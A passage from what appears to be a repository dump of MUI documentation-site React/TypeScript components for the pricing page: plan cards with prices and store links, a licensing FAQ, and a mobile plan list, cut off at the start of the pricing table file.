title: 'Pro',\n    description: 'Best for professional developers or startups building data-rich applications.',\n    features: [\n      {\n        primaryLabel: <React.Fragment>{highlightText('Pro')} support</React.Fragment>,\n        icon: 'support',\n        supportType: 'pro',\n      },\n      {\n        primaryLabel: <React.Fragment>MUI X {highlightText('Pro')} access</React.Fragment>,\n        icon: 'check',\n      },\n      {\n        primaryLabel: <React.Fragment>10+ {highlightText('Pro')} features</React.Fragment>,\n        icon: 'check',\n      },\n    ],\n  },\n  premium: {\n    iconName: 'pricing/x-plan-premium',\n    title: 'Premium',\n    description:\n      'The most advanced features for data-rich applications along with standard support.',\n    features: [\n      {\n        primaryLabel: <React.Fragment>{highlightText('Premium')} support</React.Fragment>,\n        icon: 'support',\n        supportType: 'premium',\n      },\n      { primaryLabel: 'Access new features first', icon: 'check' },\n      {\n        primaryLabel: <React.Fragment>5+ {highlightText('Premium')} features</React.Fragment>,\n        icon: 'check',\n      },\n    ],\n  },\n  enterprise: {\n    iconName: 'pricing/x-plan-enterprise',\n    title: 'Enterprise',\n    description:\n      'All features of Premium coupled with enterprise-grade support and customer success.',\n    features: [\n      {\n        primaryLabel: <React.Fragment>{highlightText('Priority')} support</React.Fragment>,\n        icon: 'support',\n        supportType: 'priority',\n      },\n      { primaryLabel: 'Multi-app license included', icon: 'check' },\n      { primaryLabel: 'Technical support for all libraries', icon: 'check' },\n      { primaryLabel: 'Guaranteed response time', icon: 'check' },\n      { primaryLabel: 'Pre-screening', icon: 'check' },\n      { primaryLabel: 'Issue escalation', icon: 'check' },\n      { primaryLabel: 'Customer Success Manager', icon: 'check' },\n      { primaryLabel: 'Available from 15 seats', icon: 'check' },\n    ],\n  },\n};\n\nexport const multiAppPlanInfo: Partial<Record<PlanName, Feature[]>> = {\n  pro: [\n    {\n      primaryLabel: <React.Fragment>{highlightText('Pro')} support</React.Fragment>,\n      icon: 'support',\n      supportType: 'pro',\n    },\n    { primaryLabel: 'Multi-app license included', icon: 'check' },\n    {\n      primaryLabel: <React.Fragment>MUI X {highlightText('Pro')} access</React.Fragment>,\n      icon: 'check',\n    },\n    {\n      primaryLabel: <React.Fragment>10+ {highlightText('Pro')} features</React.Fragment>,\n      icon: 'check',\n    },\n  ],\n  premium: [\n    {\n      primaryLabel: <React.Fragment>{highlightText('Premium')} support</React.Fragment>,\n      icon: 'support',\n      supportType: 'premium',\n    },\n    { primaryLabel: 'Multi-app license included', icon: 'check' },\n    { primaryLabel: 'Access new features first', icon: 'check' },\n    {\n      primaryLabel: <React.Fragment>MUI X {highlightText('Premium')} access</React.Fragment>,\n      icon: 'check',\n    },\n    {\n      primaryLabel: <React.Fragment>5+ {highlightText('Premium')} features</React.Fragment>,\n      icon: 'check',\n    },\n  ],\n};\n\nexport function getPlanFeatures(plan: PlanName, multiApp: boolean): Feature[] {\n  if (multiApp && (plan === 'pro' || plan === 'premium') && multiAppPlanInfo[plan]) {\n    return multiAppPlanInfo[plan]!;\n  }\n  return planInfo[plan].features;\n}\n\nconst previousPlanNames: Record<PlanName, string> = {\n  community: '',\n  pro: 'Community',\n  premium: 'Pro',\n  enterprise: 'Premium',\n};\n\nfunction getPreviousPlanName(plan: PlanName): string {\n  return previousPlanNames[plan];\n}\n\nconst formatter = new Intl.NumberFormat('en-US');\n\nfunction formatCurrency(value: number) {\n  return `$${formatter.format(value)}`;\n}\n\nfunction PlanPriceDisplay({\n  price,\n  priceUnit,\n  priceExplanation,\n  priceColor = 'primary.main',\n  href,\n  buttonText = 'Buy now',\n  buttonVariant = 'contained',\n}: {\n  price: number | string;\n  priceUnit?: string;\n  priceExplanation: React.ReactNode;\n  priceColor?: string;\n  href: string;\n  buttonText?: string;\n  buttonVariant?: 'contained' | 'outlined';\n}) {\n  return (\n    <Box\n      sx={{\n        display: 'flex',\n        alignItems: 'flex-start',\n        flexDirection: 'column',\n        gap: 1,\n      }}\n    >\n      {/* Main price */}\n      <Box sx={{ display: 'flex', alignItems: 'center', justifyContent: 'center', gap: 0.75 }}>\n        <Typography variant=\"h3\" component=\"div\" sx={{ fontWeight: 'semiBold', color: priceColor }}>\n          {typeof price === 'number' ? formatCurrency(price) : price}\n        </Typography>\n        {priceUnit && (\n          <Typography variant=\"body2\" sx={{ color: 'text.secondary', mt: '3px' }}>\n            {priceUnit}\n          </Typography>\n        )}\n      </Box>\n      {/* Monthly price breakdown */}\n      <Typography\n        variant=\"body2\"\n        sx={{\n          color: 'text.secondary',\n          textAlign: 'center',\n          fontSize: '0.8125rem',\n        }}\n      >\n        {priceExplanation}\n      </Typography>\n      <Button\n        component={Link}\n        noLinkStyle\n        href={href}\n        variant={buttonVariant}\n        fullWidth\n        endIcon={<KeyboardArrowRightRounded />}\n        sx={{ py: 1, mt: 2, mb: 2 }}\n      >\n        {buttonText}\n      </Button>\n    </Box>\n  );\n}\n\ninterface PlanPriceProps {\n  plan: 'community' | 'pro' | 'premium' | 'enterprise';\n  multiApp?: boolean;\n}\n\nexport function PlanPrice(props: PlanPriceProps) {\n  const { plan, multiApp = false } = props;\n\n  const { licenseModel } = useLicenseModel();\n  const annual = licenseModel === 'annual';\n\n  if (plan === 'community') {\n    return (\n      <PlanPriceDisplay\n        price=\"Free\"\n        priceExplanation=\"Free forever!\"\n        priceColor=\"success.600\"\n        href=\"/material-ui/getting-started/usage/\"\n        buttonText=\"Get started\"\n        buttonVariant=\"outlined\"\n      />\n    );\n  }\n\n  const priceUnit = annual ? '/ year / dev' : '/ dev';\n  const getPriceExplanation = (displayedValue: number) => {\n    if (annual) {\n      return (\n        <React.Fragment>\n          Equivalent to <strong>${displayedValue.toFixed(2)}</strong> / month / dev\n        </React.Fragment>\n      );\n    }\n    return '';\n  };\n\n  const getProStoreUrl = (license: string, isMultiApp: boolean) => {\n    if (isMultiApp) {\n      return license === 'annual'\n        ? 'https://mui.com/store/items/mui-x-pro/?addons=mui-x-multi-app-license'\n        : 'https://mui.com/store/items/mui-x-pro-perpetual/?addons=mui-x-multi-app-license';\n    }\n    return license === 'annual'\n      ? 'https://mui.com/store/items/mui-x-pro/'\n      : 'https://mui.com/store/items/mui-x-pro-perpetual/';\n  };\n\n  if (plan === 'pro') {\n    const annualValue = 299;\n    const perpetualValue = 657;\n    const monthlyValueForAnnual = annualValue / 12;\n\n    const proAnnualValueWithMultiApp = 499;\n    const proPerpetualValueWithMultiApp = 1097;\n    const proMonthlyValueForAnnualWithMultiApp =\n      Math.round((proAnnualValueWithMultiApp / 12) * 100) / 100;\n\n    let priceForExplanation: number;\n    if (multiApp) {\n      priceForExplanation = proMonthlyValueForAnnualWithMultiApp;\n    } else if (annual) {\n      priceForExplanation = monthlyValueForAnnual;\n    } else {\n      priceForExplanation = perpetualValue;\n    }\n\n    let mainDisplayValue: number = annual ? annualValue : perpetualValue;\n    if (annual && multiApp) {\n      mainDisplayValue = proAnnualValueWithMultiApp;\n    } else if (!annual && multiApp) {\n      mainDisplayValue = proPerpetualValueWithMultiApp;\n    } else if (annual && !multiApp) {\n      mainDisplayValue = annualValue;\n    } else if (!annual && !multiApp) {\n      mainDisplayValue = perpetualValue;\n    }\n\n    return (\n      <PlanPriceDisplay\n        price={mainDisplayValue}\n        priceUnit={priceUnit}\n        priceExplanation={getPriceExplanation(priceForExplanation)}\n        href={getProStoreUrl(licenseModel, multiApp)}\n        buttonVariant=\"outlined\"\n      />\n    );\n  }\n\n  if (plan === 'premium') {\n    const premiumAnnualValue = 599;\n    const premiumPerpetualValue = 1318;\n    const premiumMonthlyValueForAnnual = premiumAnnualValue / 12;\n\n    const premiumAnnualValueWithPrioritySupport = 999;\n    const premiumPerpetualValueWithPrioritySupport = 2198;\n    const premiumMonthlyValueForAnnualWithPrioritySupport =\n      Math.round((premiumAnnualValueWithPrioritySupport / 12) * 100) / 100;\n\n    let premiumDisplayedValue: number = premiumAnnualValue;\n    if (annual && multiApp) {\n      premiumDisplayedValue = premiumAnnualValueWithPrioritySupport;\n    } else if (!annual && multiApp) {\n      premiumDisplayedValue = premiumPerpetualValueWithPrioritySupport;\n    } else if (annual && !multiApp) {\n      premiumDisplayedValue = premiumAnnualValue;\n    } else if (!annual && !multiApp) {\n      premiumDisplayedValue = premiumPerpetualValue;\n    }\n\n    return (\n      <PlanPriceDisplay\n        price={premiumDisplayedValue}\n        priceUnit={priceUnit}\n        priceExplanation={getPriceExplanation(\n          multiApp ? premiumMonthlyValueForAnnualWithPrioritySupport : premiumMonthlyValueForAnnual,\n        )}\n        href={getHref(annual, multiApp)}\n      />\n    );\n  }\n\n  if (plan === 'enterprise') {\n    const enterpriseAnnualValue = 1399;\n    const enterprisePerpetualValue = 2798;\n    const enterpriseMonthlyValueForAnnual = enterpriseAnnualValue / 12;\n\n    return (\n      <PlanPriceDisplay\n        price={annual ? enterpriseAnnualValue : enterprisePerpetualValue}\n        priceUnit={priceUnit}\n        priceExplanation={getPriceExplanation(enterpriseMonthlyValueForAnnual)}\n        href=\"mailto:sales@mui.com\"\n        buttonText=\"Contact Sales\"\n        buttonVariant=\"outlined\"\n      />\n    );\n  }\n\n  return null;\n}\n\nfunction getHref(annual: boolean, prioritySupport: boolean): string {\n  if (annual && prioritySupport) {\n    return 'https://mui.com/store/items/mui-x-premium/?addons=mui-x-priority-support';\n  }\n  if (!annual && prioritySupport) {\n    return 'https://mui.com/store/items/mui-x-premium-perpetual/?addons=mui-x-priority-support';\n  }\n  if (annual && !prioritySupport) {\n    return 'https://mui.com/store/items/mui-x-premium/';\n  }\n  return 'https://mui.com/store/items/mui-x-premium-perpetual/';\n}\n\nexport function FeatureItem({ feature, idPrefix }: { feature: Feature; idPrefix?: string }) {\n  return (\n    <Box\n      sx={{\n        display: 'flex',\n        alignItems: 'flex-start',\n        gap: 1,\n        pl: feature.icon === 'check' ? 0.4 : null,\n      }}\n    >\n      {feature.icon === 'check' && (\n        <IconImage name=\"pricing/yes\" sx={{ fontSize: 20, color: 'primary.main', mt: '2px' }} />\n      )}\n      {feature.icon === 'support' && (\n        <Box\n          sx={{\n            display: 'flex',\n            alignItems: 'center',\n            gap: 0.6,\n          }}\n        >\n          {(() => {\n            if (feature.supportType === 'pro') {\n              return <ProSupportIcon idPrefix={idPrefix} />;\n            }\n            if (feature.supportType === 'premium') {\n              return <PremiumSupportIcon idPrefix={idPrefix} />;\n            }\n            if (feature.supportType === 'priority') {\n              return <PrioritySupportIcon idPrefix={idPrefix} />;\n            }\n            return null;\n          })()}\n        </Box>\n      )}\n      <div>\n        <Typography\n          variant=\"body2\"\n          sx={{\n            display: 'flex',\n            alignItems: 'center',\n          }}\n        >\n          {feature.primaryLabel}\n        </Typography>\n        {feature.secondaryLabel && (\n          <Typography variant=\"body2\" sx={{ color: 'text.secondary', mt: 0.75 }}>\n            {feature.secondaryLabel}\n          </Typography>\n        )}\n      </div>\n    </Box>\n  );\n}\n\nexport function PlanNameDisplay({\n  plan,\n  disableDescription = true,\n}: {\n  plan: keyof typeof planInfo;\n  disableDescription?: boolean;\n}) {\n  const { title, iconName, description } = planInfo[plan];\n  return (\n    <Box\n      sx={{\n        display: 'flex',\n        flexDirection: 'column',\n        alignItems: 'flex-start',\n        textAlign: 'center',\n        gap: 1,\n      }}\n    >\n      <Box sx={{ display: 'flex', alignItems: 'center', gap: 1 }}>\n        <IconImage name={iconName} mode=\"\" loading=\"eager\" />\n        <Typography variant=\"h6\" sx={{ fontWeight: 'medium', color: 'text.primary' }}>\n          {title}\n        </Typography>\n      </Box>\n\n      {!disableDescription && (\n        <Typography\n          variant=\"body2\"\n          sx={{\n            color: 'text.secondary',\n            display: 'flex',\n            textAlign: 'start',\n            justifyContent: 'center',\n            alignItems: 'baseline',\n            mt: 1,\n            minHeight: { xs: 0, md: 96 },\n            lineHeight: '24px',\n          }}\n        >\n          {description}\n        </Typography>\n      )}\n    </Box>\n  );\n}\n\ninterface PricingCardWrapperProps {\n  plan: PlanName;\n  highlighted?: boolean;\n}\n\nfunction PricingCardWrapper({ plan, highlighted = false }: PricingCardWrapperProps) {\n  const { multiApp } = useMultiApp();\n\n  return (\n    <Box\n      sx={(theme) => ({\n        display: 'flex',\n        border: '1px solid',\n        borderColor: highlighted ? 'primary.200' : 'divider',\n        borderRadius: 1,\n        flexDirection: 'column',\n        gap: 2,\n        py: 3,\n        px: 2,\n        flex: '1 1 0px',\n        ...(highlighted && {\n          background: `${(theme.vars || theme).palette.gradients.linearSubtle}`,\n          boxShadow: '0px 2px 12px 0px rgba(234, 237, 241, 0.3) inset',\n          ...theme.applyDarkStyles({\n            borderColor: `${alpha(theme.palette.primary[700], 0.4)}`,\n            boxShadow: '0px 2px 12px 0px rgba(0, 0, 0, 0.25) inset',\n          }),\n        }),\n      })}\n    >\n      <Box\n        sx={{\n          height: 'fit-content',\n          display: 'flex',\n          flexDirection: 'column',\n          gap: 3,\n        }}\n      >\n        <PlanNameDisplay plan={plan} disableDescription={false} />\n        <PlanPrice plan={plan} multiApp={multiApp} />\n      </Box>\n      {plan !== 'community' && plan !== 'enterprise' && <MultiAppSwitch />}\n      <Box sx={{ textAlign: 'left', display: 'flex', flexDirection: 'column', gap: 2 }}>\n        {plan !== 'community' && (\n          <Typography variant=\"body2\" sx={{ fontWeight: 'medium', color: 'text.primary' }}>\n            Everything in {getPreviousPlanName(plan)} plan and...\n          </Typography>\n        )}\n\n        {getPlanFeatures(plan, multiApp).map((feature, index) => (\n          <FeatureItem feature={feature} key={index} />\n        ))}\n      </Box>\n    </Box>\n  );\n}\n\nexport default function PricingCards() {\n  return (\n    <React.Fragment>\n      <LicenseModelSwitch />\n      <Box\n        sx={{\n          display: 'flex',\n          flexDirection: { xs: 'column', md: 'row' },\n          mt: 3,\n          mb: 8,\n          gap: 2,\n          mx: 'auto',\n          maxWidth: '100%',\n        }}\n      >\n        <PricingCardWrapper plan=\"community\" />\n        <MultiAppProvider>\n          <PricingCardWrapper plan=\"pro\" />\n        </MultiAppProvider>\n        <MultiAppProvider>\n          <PricingCardWrapper plan=\"premium\" highlighted />\n        </MultiAppProvider>\n        <PricingCardWrapper plan=\"enterprise\" />\n      </Box>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/pricing/PricingFAQ.tsx",
    "content": "/* eslint-disable react/no-unescaped-entities */\nimport * as React from 'react';\nimport { styled, alpha } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Grid from '@mui/material/Grid';\nimport Link from '@mui/material/Link';\nimport Paper from '@mui/material/Paper';\nimport Typography from '@mui/material/Typography';\nimport MuiAccordion from '@mui/material/Accordion';\nimport MuiAccordionSummary from '@mui/material/AccordionSummary';\nimport MuiAccordionDetail from '@mui/material/AccordionDetails';\nimport KeyboardArrowDownRounded from '@mui/icons-material/KeyboardArrowDownRounded';\nimport Section from 'docs/src/layouts/Section';\n\nconst faqData = [\n  {\n    summary: 'How do I know if I need to buy a license?',\n    detail: (\n      <React.Fragment>\n        If you are in doubt, check the license file of the npm package you're installing. For\n        instance <Link href=\"https://unpkg.com/@mui/x-data-grid/LICENSE\">@mui/x-data-grid</Link> is\n        an MIT License (free) while{' '}\n        <Link href=\"https://unpkg.com/@mui/x-data-grid-pro/LICENSE\">@mui/x-data-grid-pro</Link> is a\n        Commercial License.\n      </React.Fragment>\n    ),\n  },\n  {\n    summary: 'How many developer licenses do I need?',\n    detail: (\n      <React.Fragment>\n        The number of licenses purchased must correspond to the number of concurrent developers\n        contributing changes to the front-end code of projects that use MUI X Pro or Premium.\n        <br />\n        <br />\n        <b>Example 1.</b> Company 'A' is developing an application named 'AppA'. The app needs to\n        render 10k rows of data in a table and allow users to group, filter, and sort. The dev team\n        adds MUI X Pro to the project to satisfy this requirement. 5 front-end and 10 back-end\n        developers are working on 'AppA'. Only 1 developer is tasked with configuring and modifying\n        the data grid. Only the front-end developers are contributing code to the front-end so\n        Company 'A' purchases 5 licenses.\n        <br />\n        <br />\n        <b>Example 2.</b> A UI development team at Company 'B' creates its own UI library for\n        internal development and includes MUI X Pro as a component. The team working on 'AppA' uses\n        the new library and so does the team working on 'AppB'. 'AppA' has 5 front-end developers\n        and 'AppB' has 3. There are 2 front-end developers on the UI development team. Company 'B'\n        purchases 10 licenses.\n        <br />\n        <br />\n        <Link\n          target=\"_blank\"\n          rel=\"noopener\"\n          href=\"https://mui.com/legal/mui-x-eula/#required-quantity-of-licenses\"\n        >\n          The clause in the EULA.\n        </Link>\n      </React.Fragment>\n    ),\n  },\n  {\n    summary: 'Am I allowed to use the product after the update entitlement expires?',\n    detail: (\n      <React.Fragment>\n        <strong>Yes.</strong> You can continue to use the product in production environments after\n        the entitlement expires. But you will need to keep your subscription active to continue\n        development, update for new features, or gain access to technical support.\n        <br />\n        <br />\n        To renew your license, please <Link href=\"mailto:sales@mui.com\">contact sales</Link>.\n      </React.Fragment>\n    ),\n  },\n  {\n    summary: 'How to remove the \"unlicensed\" watermark?',\n    detail: (\n      <React.Fragment>\n        After you purchase a license, you'll receive a license key by email. Once you have the\n        license key, you need to follow the{' '}\n        <Link href=\"/x/introduction/licensing/#license-key-installation\">instructions</Link>{' '}\n        necessary to set it up.\n      </React.Fragment>\n    ),\n  },\n  {\n    summary: 'Do developers have to be named?',\n    detail: (\n      <React.Fragment>\n        <strong>No.</strong> We trust that you will not go over the number of licensed developers.\n        Developers moving on and off projects is expected occasionally, and the license can be\n        transferred between developers at that time.\n      </React.Fragment>\n    ),\n  },\n  {\n    summary: 'What is the policy on redistributing the software?',\n    detail: (\n      <React.Fragment>\n        The commerial licenses are royalty-free. The licensed entity can use the components without\n        a sublicense in:\n        <ul>\n          <li>Solutions for internal company use</li>\n          <li>Hosted applications</li>\n          <li>Commercial solutions deployed for end-users</li>\n        </ul>\n        Based on the{' '}\n        <Link target=\"_blank\" rel=\"noopener\" href=\"https://mui.com/legal/mui-x-eula/#deployment\">\n          'Deployment' section of the EULA\n        </Link>\n        , you can sublicense the software if it's made part of a larger work. The new licenses must\n        be in writing and substantially the same as these EULA.\n        <br />\n        <br />\n        <b>Example 1.</b> Agency 'A' is building two applications for companies 'B' and 'C'. Agency\n        'A' purchases four licenses for four developers. They build the applications and sublicense\n        the software to companies 'B' and 'C' without any extra fee. Company 'B' can deploy the\n        application built by the agency without modifying the sources. Company 'C' decides to\n        continue working on the application. They purchase one license per developer working on the\n        front end of the application.\n        <br />\n        <br />\n        There are only two limitations that require additional discussion with our sales team:\n        <ul>\n          <li>\n            A product that exposes the components in a form that allows for using them to build\n            applications, for example, in a CMS or a design-builder.\n          </li>\n          <li>\n            Modules/components that DO NOT add significant primary functionality. Example: a theme\n            for a set of components that is sold as a separate product and includes the MUI X Data\n            Grid Pro components. In such cases, we offer reseller arrangements so that everyone has\n            an incentive to enter into a relationship.\n          </li>\n        </ul>\n        If your desired use falls under any of the three categories listed above, please{' '}\n        <Link href=\"mailto:sales@mui.com\">contact sales</Link>. We will be happy to discuss your\n        needs and see what we can do to accommodate your case.\n      </React.Fragment>\n    ),\n  },\n  {\n    summary: 'Do you offer discounts to educational and non-profit organizations?',\n    detail: (\n      <React.Fragment>\n        Yes, we offer a 50% discount on all products licensed to students, instructors, non-profit,\n        and charity entities.\n        <br />\n        <br />\n        To qualify for this discount you need to send us a document clearly indicating that you are\n        a member of the respective institution. An email from your official account which bears your\n        signature is sufficient in most cases.\n        <br />\n        <br />\n        For more information on how to qualify for a discount, please contact sales.\n      </React.Fragment>\n    ),\n  },\n  {\n    summary: 'Why must we license developers not using the software directly?',\n    detail: (\n      <React.Fragment>\n        Our pricing model requires all developers working on a project using MUI X Pro or Premium to\n        be licensed. This is intended to make it easier for you and your team to know if the right\n        number of developers are licensed.\n        <br />\n        <br />\n        Our licensing model also requires developers indirectly using MUI X Pro or Premium (e.g.\n        through a wrapper library) to be licensed.\n        <br />\n        <br />\n        The price point per developer is adjusted to be lower than if only direct use needed a\n        license.{' '}\n        <Link\n          target=\"_blank\"\n          rel=\"noopener\"\n          href=\"https://mui.com/legal/mui-x-eula/#required-quantity-of-licenses\"\n        >\n          The relevant EULA clause.\n        </Link>\n      </React.Fragment>\n    ),\n  },\n  {\n    summary: 'What is the validity of the Priority Support add-on?',\n    detail: (\n      <React.Fragment>\n        The Priority Support add-on is valid for 1 year from the date of purchase. It is same for\n        perpetual or annual license model.{' '}\n        <Link\n          target=\"_blank\"\n          rel=\"noopener\"\n          href=\"https://mui.com/legal/technical-support-sla/#support-plans\"\n        >\n          Support plans.\n        </Link>\n      </React.Fragment>\n    ),\n  },\n];\n\nconst Accordion = styled(MuiAccordion)(({ theme }) => ({\n  padding: theme.spacing(2),\n  transition: theme.transitions.create('box-shadow'),\n  '&&': {\n    borderRadius: theme.shape.borderRadius,\n  },\n  '&:hover': {\n    borderColor: theme.palette.primary[300],\n    boxShadow: `0px 4px 8px ${alpha(theme.palette.grey[200], 0.6)}`,\n  },\n  '&:not(:last-of-type)': {\n    marginBottom: theme.spacing(2),\n  },\n  '&::before': {\n    display: 'none',\n  },\n  '&::after': {\n    display: 'none',\n  },\n  ...theme.applyDarkStyles({\n    '&:hover': {\n      borderColor: alpha(theme.palette.primary[600], 0.6),\n      boxShadow: '0px 4px 20px rgba(0, 0, 0, 0.8)',\n    },\n  }),\n}));\n\nconst AccordionSummary = styled(MuiAccordionSummary)(({ theme }) => ({\n  padding: theme.spacing(2),\n  margin: theme.spacing(-2),\n  minHeight: 'auto',\n  '&.Mui-expanded': {\n    minHeight: 'auto',\n  },\n  '& .MuiAccordionSummary-content': {\n    margin: 0,\n    paddingRight: theme.spacing(2),\n    '&.Mui-expanded': {\n      margin: 0,\n    },\n  },\n}));\n\nconst AccordionDetails = styled(MuiAccordionDetail)(({ theme }) => ({\n  marginTop: theme.spacing(1),\n  padding: 0,\n}));\n\nexport default function PricingFAQ() {\n  function renderItem(index: number) {\n    const faq = faqData[index];\n    return (\n      <Accordion variant=\"outlined\">\n        <AccordionSummary\n          expandIcon={<KeyboardArrowDownRounded sx={{ fontSize: 20, color: 'primary.main' }} />}\n        >\n          <Typography variant=\"body2\" component=\"h3\" sx={{ fontWeight: 'bold' }}>\n            {faq.summary}\n          </Typography>\n        </AccordionSummary>\n        <AccordionDetails>\n          <Typography\n            component=\"div\"\n            variant=\"body2\"\n            sx={{ color: 'text.secondary', '& ul': { pl: 2 } }}\n          >\n            {faq.detail}\n          </Typography>\n        </AccordionDetails>\n      </Accordion>\n    );\n  }\n  return (\n    <Section cozy>\n      <Typography id=\"faq\" variant=\"h2\" sx={{ mb: { xs: 2, sm: 4 } }}>\n        Frequently asked questions\n      </Typography>\n      <Grid container spacing={2}>\n        <Grid size={{ xs: 12, md: 4 }}>\n          {renderItem(0)}\n          {renderItem(1)}\n          {renderItem(2)}\n          {renderItem(3)}\n          {renderItem(4)}\n        </Grid>\n        <Grid size={{ xs: 12, md: 4 }}>\n          {renderItem(5)}\n          {renderItem(6)}\n          {renderItem(7)}\n          {renderItem(8)}\n        </Grid>\n        <Grid size={{ xs: 12, md: 4 }}>\n          <Paper\n            variant=\"outlined\"\n            sx={(theme) => ({\n              p: 2,\n              textAlign: 'center',\n              borderStyle: 'dashed',\n              borderColor: 'grey.300',\n              bgcolor: 'white',\n              ...theme.applyDarkStyles({\n                borderColor: 'divider',\n                bgcolor: 'primaryDark.800',\n              }),\n            })}\n          >\n            <Box sx={{ textAlign: 'left' }}>\n              <Typography\n                variant=\"body2\"\n                component=\"h3\"\n                sx={{ color: 'text.primary', fontWeight: 'bold' }}\n              >\n                Got any questions unanswered or need help?\n              </Typography>\n            </Box>\n            <Typography variant=\"body2\" sx={{ color: 'text.secondary', my: 1, textAlign: 'left' }}>\n              Email us at <Link href=\"mailto:sales@mui.com\">sales@mui.com</Link> for sales-related\n              questions.\n            </Typography>\n            <Typography variant=\"body2\" sx={{ color: 'text.secondary', my: 1, textAlign: 'left' }}>\n              For product-related problems, please open\n              <Link href=\"https://github.com/mui/mui-x/issues/new/choose\">a new GitHub issue</Link>.\n              (If you need to share private information, you can{' '}\n              <Link href=\"mailto:x@mui.com\">email</Link> us.)\n            </Typography>\n          </Paper>\n        </Grid>\n      </Grid>\n    </Section>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/pricing/PricingList.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Fade from '@mui/material/Fade';\nimport Paper, { PaperProps } from '@mui/material/Paper';\nimport Tabs from '@mui/material/Tabs';\nimport Tab from '@mui/material/Tab';\nimport PricingTable from 'docs/src/components/pricing/PricingTable';\nimport {\n  PlanPrice,\n  PlanNameDisplay,\n  FeatureItem,\n  getPlanFeatures,\n} from 'docs/src/components/pricing/PricingCards';\nimport LicenseModelSwitch from 'docs/src/components/pricing/LicenseModelSwitch';\nimport MultiAppSwitch from 'docs/src/components/pricing/MultiAppSwitch';\nimport { useMultiApp } from 'docs/src/components/pricing/MultiAppContext';\n\nconst Plan = React.forwardRef<\n  HTMLDivElement,\n  {\n    plan: 'community' | 'pro' | 'premium' | 'enterprise';\n\n    unavailable?: boolean;\n  } & PaperProps\n>(function Plan({ plan, unavailable, sx, ...props }, ref) {\n  const { multiApp } = useMultiApp();\n  const features = getPlanFeatures(plan, multiApp);\n\n  return (\n    <Paper\n      ref={ref}\n      variant=\"outlined\"\n      sx={{\n        p: 2,\n        display: 'flex',\n        flexDirection: 'column',\n        gap: 1,\n        ...(unavailable && { '& .MuiTypography-root': { opacity: 0.5 } }),\n        ...sx,\n      }}\n      {...props}\n    >\n      <PlanNameDisplay plan={plan} disableDescription={false} />\n      {(plan === 'pro' || plan === 'premium') && (\n        <Box sx={{ alignSelf: 'flex-start' }}>\n          <LicenseModelSwitch />\n        </Box>\n      )}\n      <PlanPrice plan={plan} multiApp={multiApp} />\n      {plan !== 'community' && plan !== 'enterprise' && <MultiAppSwitch />}\n      <Box sx={{ textAlign: 'left', display: 'flex', flexDirection: 'column', gap: 2, mt: 2 }}>\n        {features.map((feature, index) => (\n          <FeatureItem feature={feature} idPrefix={plan} key={index} />\n        ))}\n      </Box>\n    </Paper>\n  );\n});\n\nexport default function PricingList() {\n  const [planIndex, setPlanIndex] = React.useState(0);\n  return (\n    <React.Fragment>\n      <Tabs\n        value={planIndex}\n        variant=\"fullWidth\"\n        onChange={(event, value) => setPlanIndex(value)}\n        sx={[\n          {\n            mb: 2,\n            position: 'sticky',\n            top: 55,\n            bgcolor: 'background.paper',\n            zIndex: 1,\n            mx: { xs: -2, sm: -3 },\n            borderTop: '1px solid',\n            borderColor: 'divider',\n            '& .MuiTab-root': {\n              borderBottom: '1px solid',\n              borderColor: 'divider',\n              '&.Mui-selected': {\n                bgcolor: 'grey.50',\n              },\n            },\n          },\n          (theme) =>\n            theme.applyDarkStyles({\n              '& .MuiTab-root': {\n                '&.Mui-selected': {\n                  bgcolor: 'primaryDark.800',\n                },\n              },\n            }),\n        ]}\n      >\n        <Tab label=\"Community\" />\n        <Tab\n          label=\"Pro\"\n          sx={{ borderWidth: '0 1px 0 1px', borderStyle: 'solid', borderColor: 'divider' }}\n        />\n        <Tab\n          label=\"Premium\"\n          sx={{ borderWidth: '0 1px 0 1px', borderStyle: 'solid', borderColor: 'divider' }}\n        />\n        <Tab label=\"Enterprise\" />\n      </Tabs>\n      {planIndex === 0 && (\n        <Fade in>\n          <div>\n            <Plan plan=\"community\" />\n            <PricingTable columnHeaderHidden plans={['community']} />\n          </div>\n        </Fade>\n      )}\n      {planIndex === 1 && (\n        <Fade in>\n          <div>\n            <Plan plan=\"pro\" />\n            <PricingTable columnHeaderHidden plans={['pro']} />\n          </div>\n        </Fade>\n      )}\n      {planIndex === 2 && (\n        <Fade in>\n          <div>\n            <Plan plan=\"premium\" />\n            <PricingTable columnHeaderHidden plans={['premium']} />\n          </div>\n        </Fade>\n      )}\n      {planIndex === 3 && (\n        <Fade in>\n          <div>\n            <Plan plan=\"enterprise\" />\n            <PricingTable columnHeaderHidden plans={['enterprise']} />\n          </div>\n        </Fade>\n      )}\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/pricing/PricingTable.tsx",
    "content": "import * as React from 'react';\nimport { alpha, styled, ThemeProvider } from '@mui/material/styles';\nimport Box, { BoxProps } from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport Container from '@mui/material/Container';\nimport Collapse from '@mui/material/Collapse';\nimport Divider from '@mui/material/Divider';\nimport Typography from '@mui/material/Typography';\nimport Tooltip from '@mui/material/Tooltip';\nimport InfoOutlinedIcon from '@mui/icons-material/InfoOutlined';\nimport { useRouter } from 'next/router';\nimport KeyboardArrowRightRounded from '@mui/icons-material/KeyboardArrowRightRounded';\nimport LaunchRounded from '@mui/icons-material/LaunchRounded';\nimport UnfoldMoreRounded from '@mui/icons-material/UnfoldMoreRounded';\nimport { Link } from '@mui/docs/Link';\nimport IconImage from '@mui/docs/IconImage';\nimport { useLicenseModel } from 'docs/src/components/pricing/LicenseModelContext';\nimport SupportAgentIcon from '@mui/icons-material/SupportAgent';\nimport { MultiAppSwitchTable } from 'docs/src/components/pricing/MultiAppSwitch';\nimport InfoPrioritySupport from 'docs/src/components/pricing/InfoPrioritySupport';\nimport { PlanName, planInfo } from './PricingCards';\n\n// TODO: Collapse should expose an API to customize the duration based on the height.\nfunction transitionTheme(theme: any) {\n  return {\n    ...theme,\n    transitions: {\n      ...theme.transitions,\n      getAutoHeightDuration: (height: number) => {\n        if (!height) {\n          return 0;\n        }\n\n        const constant = height / 80;\n        return Math.round((4 + 15 * constant ** 0.1 + constant / 6) * 10);\n      },\n    },\n  };\n}\n\nexport function PlanNameTable({\n  plan,\n  disableDescription = true,\n}: {\n  plan: PlanName;\n  disableDescription?: boolean;\n}) {\n  const { title, iconName, description } = planInfo[plan];\n  return (\n    <React.Fragment>\n      <Typography\n        